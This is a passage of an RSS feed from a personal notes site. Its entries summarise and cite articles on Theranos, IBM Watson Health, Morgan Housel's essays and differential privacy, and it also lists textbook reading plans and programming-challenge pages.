 &lt;path fill="currentColor" d="M20.5 2h-17A1.5 1.5 0 002 3.5v17A1.5 1.5 0 003.5 22h17a1.5 1.5 0 001.5-1.5v-17A1.5 1.5 0 0020.5 2zM8 19H5v-9h3zM6.5 8.25A1.75 1.75 0 118.3 6.5a1.78 1.78 0 01-1.8 1.75zM19 19h-3v-4.74c0-1.42-.6-1.93-1.38-1.93A1.74 1.74 0 0013 14.19a.66.66 0 000 .14V19h-3v-9h2.9v1.3a3.11 3.11 0 012.7-1.4c1.55 0 3.36.86 3.36 3.66z"&gt;&lt;/path&gt;
&lt;/svg&gt;
&lt;/a&gt;
&lt;/p&gt;</description></item><item><title>[Summary] (Morgan Housel) Immeasurably Important</title><link>https://www.curiosities.dev/personal_growth/an_outlook_on_life/2018-07-01-housel-immeasurably-important/</link><pubDate>Sun, 01 Jul 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/an_outlook_on_life/2018-07-01-housel-immeasurably-important/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Housel2018'&gt;
 
 Immeasurably Important&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Morgan Housel.
 
 
 
 
 
 &lt;a href="http://www.collaborativefund.com/blog/immeasurably-important/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.collaborativefund.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.collaborativefund.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jul 5, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Filtering out information is an art, not a science, necessitated by the information overload that we live in.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Watch out for the tendency to only preserve information that meshes with how we think the world should be.&lt;/li&gt;
&lt;li&gt;If you think the world is all art, you miss how much stuff is too complicated to think about intuitively.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you think the world is all data, you&amp;rsquo;ll miss how much is too complicated to summarize in a statistic.&lt;/p&gt;</description></item><item><title>IBM Watson's Health Saga</title><link>https://www.curiosities.dev/health-and-medicine/2018-06-25-ibm-watsons-health-saga/</link><pubDate>Mon, 25 Jun 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/2018-06-25-ibm-watsons-health-saga/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Strickland2018'&gt;
 
 Layoffs at Watson Health Reveal IBM’s Problem with AI&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eliza Strickland.
 
 
 
 
 &lt;a href="https://spectrum.ieee.org/the-human-os/robotics/artificial-intelligence/layoffs-at-watson-health-reveal-ibms-problem-with-ai" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=spectrum.ieee.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;spectrum.ieee.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://news.ycombinator.com/item?id=17393560" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=news.ycombinator.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;news.ycombinator.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 Jun 25, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Mannes2017'&gt;
 
 Jefferies gives IBM Watson a Wall Street reality check&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 John Mannes.
 
 
 
 
 &lt;a href="https://techcrunch.com/2017/07/13/jefferies-gives-ibm-watson-a-wall-street-reality-check/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=techcrunch.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;techcrunch.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://news.ycombinator.com/item?id=14766793" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=news.ycombinator.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;news.ycombinator.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 Jul 13, 2017.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;IBM acquired Phytel, Explorys and Truven for their troves of healthcare data and proprietary analytics.&lt;/p&gt;</description></item><item><title>U.S. Files Criminal Charges Against Elizabeth Holmes and Ramesh Balwani [WSJ]</title><link>https://www.curiosities.dev/health-and-medicine/2018-06-15-theranos-disaster/</link><pubDate>Fri, 15 Jun 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/2018-06-15-theranos-disaster/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Carreyrou2018'&gt;
 
 U.S. Files Criminal Charges Against Elizabeth Holmes and Ramesh Balwani&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 John Carreyrou.
 
 
 
 
 &lt;a href="https://www.wsj.com/articles/u-s-files-criminal-charges-against-theranoss-elizabeth-holmes-ramesh-balwani-1529096005" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.wsj.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.wsj.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://news.ycombinator.com/item?id=17323485" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=news.ycombinator.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;news.ycombinator.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 Jun 15, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='HN2018'&gt;
 
 (Ask HN) Holmes has 200 Patents. If tech didn&amp;#39;t work, why not noticed?&lt;i&gt;&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://news.ycombinator.com/item?id=17328664" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=news.ycombinator.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;news.ycombinator.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jun 18, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Housel2019'&gt;
 
 Theranos Lessons&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Morgan Housel.
 
 
 
 
 &lt;a href="https://www.collaborativefund.com/blog/theranos-lessons/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.collaborativefund.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.collaborativefund.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jun 19, 2019.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Parloff2014'&gt;
 
 This CEO is Out for Blood&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Roger Parloff.
 
 
 
 
 &lt;a href="https://www.fortune.com/2014/06/12/theranos-blood-holmes/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.fortune.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.fortune.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://news.ycombinator.com/item?id=7951019" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=news.ycombinator.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;news.ycombinator.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 Jun 12, 2014.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="holmes-and-coo-charged-with-wire-fraud-why-risk-it"&gt;Holmes and COO charged with wire fraud. Why risk it?&lt;/h2&gt;
&lt;p&gt;Corporations budget for corporate fines. Executives don&amp;rsquo;t have any skin in the game.&lt;/p&gt;</description></item><item><title>[ToDo] Introduction to Applied Linear Algebra: Vectors, Matrices, and Least squares</title><link>https://www.curiosities.dev/todo/mathematics/intro-to-applied-linear-algebra/</link><pubDate>Thu, 07 Jun 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/mathematics/intro-to-applied-linear-algebra/</guid><description>&lt;ul&gt;
&lt;li&gt;Vectors&lt;/li&gt;
&lt;li&gt;Linear Functions&lt;/li&gt;
&lt;li&gt;Norm and Distance&lt;/li&gt;
&lt;li&gt;Clustering&lt;/li&gt;
&lt;li&gt;Linear Independence&lt;/li&gt;
&lt;li&gt;Matrices&lt;/li&gt;
&lt;li&gt;Matrix Examples&lt;/li&gt;
&lt;li&gt;Linear Equations&lt;/li&gt;
&lt;li&gt;Linear Dynamical Systems&lt;/li&gt;
&lt;li&gt;Matrix Multiplication&lt;/li&gt;
&lt;li&gt;Matrix Inverses&lt;/li&gt;
&lt;li&gt;Least Squares&lt;/li&gt;
&lt;li&gt;Least Squares Data Fitting&lt;/li&gt;
&lt;li&gt;Least Squares Classification&lt;/li&gt;
&lt;li&gt;Multi-Objective Least Squares&lt;/li&gt;
&lt;li&gt;Constrained Least Squares&lt;/li&gt;
&lt;li&gt;Constrained Least Squares Applications&lt;/li&gt;
&lt;li&gt;Non-linear Least Squares&lt;/li&gt;
&lt;li&gt;Constrained Non-linear Least Squares&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Introduction to Applied Linear Algebra: Vectors, Matrices, and Least squares&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Stephen Boyd; Lieven Vandenberghe.
 
 
 
 Stanford University; University of California, Los Angeles.
 
 &lt;a href="http://vmls-book.stanford.edu/vmls.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=vmls-book.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;vmls-book.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="http://vmls-book.stanford.edu/vmls-slides.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=vmls-book.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;vmls-book.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 Jun 7, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>The Psychology of Money [Morgan Housel]</title><link>https://www.curiosities.dev/personal_growth/an_outlook_on_life/2018-06-01-housel-psychology-of-money/</link><pubDate>Fri, 01 Jun 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/an_outlook_on_life/2018-06-01-housel-psychology-of-money/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Housel2018'&gt;
 
 The Psychology of Money&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Morgan Housel.
 
 
 
 
 
 &lt;a href="http://www.collaborativefund.com/blog/the-psychology-of-money/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.collaborativefund.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.collaborativefund.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jun 1, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;People underestimate the role played by luck. Given \(N\) investors, if \(N\) is large enough, a couple of them will luck their way into billions.&lt;/p&gt;
&lt;p&gt;But every investor seems to be doing due diligence. The successful ones will be more convinced that their methods &lt;em&gt;really&lt;/em&gt; work.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Considering the amount of investing books out there, we should be seeing a lot more Warren Buffets in the world. But that&amp;rsquo;s not the case. A believer might say those investors just don&amp;rsquo;t want success enough - if they did, they&amp;rsquo;d make billions.&lt;/p&gt;</description></item><item><title>An Apology for the Internet - How It Went Wrong [Intelligencer]</title><link>https://www.curiosities.dev/computer-science/www/the-battle-for-the-web/2018-04-16-an-apology-for-the-internet/</link><pubDate>Mon, 16 Apr 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/the-battle-for-the-web/2018-04-16-an-apology-for-the-internet/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 An Apology for the Internet - How It Went Wrong&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Noah Kulwin.
 
 
 
 
 &lt;a href="http://nymag.com/intelligencer/2018/04/an-apology-for-the-internet-from-the-people-who-built-it.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=nymag.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;nymag.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Apr 16, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Start with hippie good intentions. A generation embracing new technology as a tool to transform the world for good.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Can Duruk: &lt;em&gt;You were going to Facebook not to work but to make the world more open and connected.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mix in capitalism on steroids. To save the world, you first need to take it over. Turns out the scale and power was also good for making money.&lt;/p&gt;</description></item><item><title>Fermat's Little Theorem (Intermediate)</title><link>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/intermediate-challenges/346_intermediate_fermats_little_theorem/346_intermediate_fermats_little_theorem/</link><pubDate>Fri, 26 Jan 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/intermediate-challenges/346_intermediate_fermats_little_theorem/346_intermediate_fermats_little_theorem/</guid><description>&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;p&gt;
&lt;a href="https://www.reddit.com/r/dailyprogrammer/comments/7pmt9c/20180110_challenge_346_intermediate_fermats/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to original challenge
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;Most introductionary implementations for testing the primality of a number have a time complexity of $ O(\sqrt{n}) $. For large numbers this is not a feasible strategy, for example testing a 
&lt;a href="https://en.wikipedia.org/wiki/Largest_known_prime_number"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 400 digit number
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
. Fermat&amp;rsquo;s Little Theorem states:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If $p$ is a prime number, then for any integer $a$, the number $a^p − a$ is an integer multiple of $p$&lt;/p&gt;</description></item><item><title>Linear Feedback Shift Register (Intermediate)</title><link>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/intermediate-challenges/347_intermediate_linear_feedback_shift_register/347_intermediate_linear_feedback_shift_register/</link><pubDate>Mon, 22 Jan 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/intermediate-challenges/347_intermediate_linear_feedback_shift_register/347_intermediate_linear_feedback_shift_register/</guid><description>&lt;h3 id="description"&gt;Description&lt;/h3&gt;
&lt;p&gt;
&lt;a href="https://www.reddit.com/r/dailyprogrammer/comments/7r17qr/20180117_challenge_347_intermediate_linear/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to original problem
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;In computing, a 
&lt;a href="https://en.wikipedia.org/wiki/Linear-feedback_shift_register"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 linear-feedback shift register (LFSR)
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 is a shift register whose input bit is a linear function of its previous state. The most commonly used linear function of single bits is exclusive-or (XOR). Thus, an LFSR is most often a shift register whose input bit is driven by the XOR of some bits of the overall shift register value.&lt;/p&gt;</description></item><item><title>Networks: Friends, Money and Bytes [COS 381]</title><link>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/_meta/</link><pubDate>Wed, 13 Sep 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/_meta/</guid><description/></item><item><title>Probability and Stochastic Systems [ORF 309]</title><link>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/_meta/</link><pubDate>Wed, 13 Sep 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/probability/probability-and-stochastic-systems/_meta/</guid><description/></item><item><title>[ToDo] [PHI 313] Theory of Knowledge</title><link>https://www.curiosities.dev/todo/social-sciences/phi-313-theory-of-knowledge/</link><pubDate>Fri, 01 Sep 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/social-sciences/phi-313-theory-of-knowledge/</guid><description>&lt;p&gt;
&lt;a href="https://www.princeton.edu/~adame/teaching/PHI313_F2017/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 PHI 313: Theory of Knowledge, Fall
2017
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://www.curiosities.dev/knowing/phi-313-theory-of-knowledge/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Notes
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;h2 id="reasons-for-belief"&gt;Reasons for Belief&lt;/h2&gt;
&lt;p&gt;Mapping setup/warmup&lt;/p&gt;
&lt;p&gt;Practical reasons for belief&lt;/p&gt;
&lt;p&gt;Belief at will&lt;/p&gt;
&lt;p&gt;Epistemic demands of friendship&lt;/p&gt;
&lt;h2 id="the-problem-of-disagreement"&gt;The Problem of Disagreement&lt;/h2&gt;
&lt;p&gt;Steadfast views and conciliatory views&lt;/p&gt;
&lt;p&gt;Group disagreement and the problem of spinelessness&lt;/p&gt;
&lt;p&gt;Prpblem of contigency&lt;/p&gt;
&lt;p&gt;Moral debunking&lt;/p&gt;
&lt;p&gt;Reasonable disagreemnt and the uniqueness thesis&lt;/p&gt;
&lt;h2 id="skepticism"&gt;Skepticism&lt;/h2&gt;
&lt;p&gt;Skepticism about the external world&lt;/p&gt;
&lt;p&gt;The problem and new riddle of induction&lt;/p&gt;</description></item><item><title>Betting on Things That Never Change [Morgan Housel]</title><link>https://www.curiosities.dev/business/2017-07-20-betting-on-things-that-never-change/</link><pubDate>Thu, 20 Jul 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2017-07-20-betting-on-things-that-never-change/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Housel2017'&gt;
 
 Betting on Things That Never Change&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Morgan Housel.
 
 
 
 
 &lt;a href="https://www.collaborativefund.com/blog/betting-on-things-that-never-change/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.collaborativefund.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.collaborativefund.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jul 20, 2017.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Change by itself is hard. Investors have to spot it before it&amp;rsquo;s obvious. Consumers have to change their behaviors to make it viable. These two points repel each other.&lt;/p&gt;
&lt;p&gt;Sears bet the Internet changed nothing. Beenz bet the Internet changed everything - creating a points-based currency valid only at online merchants. Amazon bet the Internet changed distribution, but rooted its strategy in selection and low prices.&lt;/p&gt;</description></item><item><title>Differential Privacy: A Primer for a Non-technical Audience</title><link>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/differential-privacy/2017-05-07-dp-primer-nontechnical/</link><pubDate>Sun, 07 May 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/wws351-it-policy/07-privacy/differential-privacy/2017-05-07-dp-primer-nontechnical/</guid><description>&lt;blockquote&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Nissim2017'&gt;
 
 Differential Privacy: A Primer for a Non-technical Audience&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Kobbi Nissim; Thomas Steinke; Alexandra Wood; Micah Altman; Aaron Bembenek; Mark Bun; Marco Gaboardi; David R. O&amp;#39;Brien; Salil Vadhan.
 
 
 
 
 
 &lt;a href="https://www.ftc.gov/system/files/documents/public_comments/2017/11/00023-141742.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.ftc.gov" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.ftc.gov&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 May 7, 2017.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;/blockquote&gt;
&lt;h2 id="what-does-dp-guarantee"&gt;What Does DP Guarantee?&lt;/h2&gt;
&lt;p&gt;It is a question of whether a particular computation (not output) preserves
privacy.&lt;/p&gt;
&lt;p&gt;DP only guarantees that &lt;em&gt;no information specific to an individual&lt;/em&gt; is revealed
by the computation. DP doesn&amp;rsquo;t protect against information that could be learned
even with an individual opting out of a dataset, e.g. a study that shows smoking
increases cancer risk allows us to infer cancer risk for individuals that opted
out.&lt;/p&gt;</description></item><item><title>[ToDo] The Elements of Statistical Learning</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/elements-of-statistical-learning/</link><pubDate>Fri, 13 Jan 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/elements-of-statistical-learning/</guid><description>&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Overview of Supervised Learning&lt;/li&gt;
&lt;li&gt;Linear Methods for Regression&lt;/li&gt;
&lt;li&gt;Linear Methods for Classification&lt;/li&gt;
&lt;li&gt;Basic Expansions and Regularization&lt;/li&gt;
&lt;li&gt;Kernel Smoothing Methods&lt;/li&gt;
&lt;li&gt;Model Assessment and Selection&lt;/li&gt;
&lt;li&gt;Model Inference and Averaging&lt;/li&gt;
&lt;li&gt;Additive Models, Trees, and Related Methods&lt;/li&gt;
&lt;li&gt;Boosting and Additive Trees&lt;/li&gt;
&lt;li&gt;Neural Networks&lt;/li&gt;
&lt;li&gt;Support Vector Machines and Flexible Discriminants&lt;/li&gt;
&lt;li&gt;Prototype Methods and Nearest-Neighbors&lt;/li&gt;
&lt;li&gt;Unsupervised Learning&lt;/li&gt;
&lt;li&gt;Random Forests&lt;/li&gt;
&lt;li&gt;Ensemble Learning&lt;/li&gt;
&lt;li&gt;Undirected Graphical Models&lt;/li&gt;
&lt;li&gt;High-Dimensional Problems: \(p &amp;raquo; N\)&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 The Elements of Statistical Learning: Data Mining, Inference and Prediction&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Trevor Hastie; Robert Tibshirani; Jerome Friedman.
 
 
 
 
 
 &lt;a href="https://web.stanford.edu/~hastie/ElemStatLearn/printings/ESLII_print12_toc.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=web.stanford.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;web.stanford.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jan 13, 2017.
 
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>Brainless Slime That Can Learn by Fusing [The Atlantic]</title><link>https://www.curiosities.dev/biology/2016-12-21-brainless-slime-that-can-learn-by-fusing/</link><pubDate>Wed, 21 Dec 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/biology/2016-12-21-brainless-slime-that-can-learn-by-fusing/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='yong2016'&gt;
 
 Brainless Slime That Can Learn by Fusing&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Ed Yong.
 
 
 
 
 &lt;a href="https://www.theatlantic.com/science/archive/2016/12/the-brainless-slime-that-can-learn-by-fusing/511295/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.theatlantic.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.theatlantic.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://old.reddit.com/r/todayilearned/comments/b245af/til_scientists_put_slime_mold_over_a_map_of_tokyo/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=old.reddit.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;old.reddit.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 Dec 21, 2016.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;h2 id="building-transit-networks"&gt;Building Transit Networks&lt;/h2&gt;
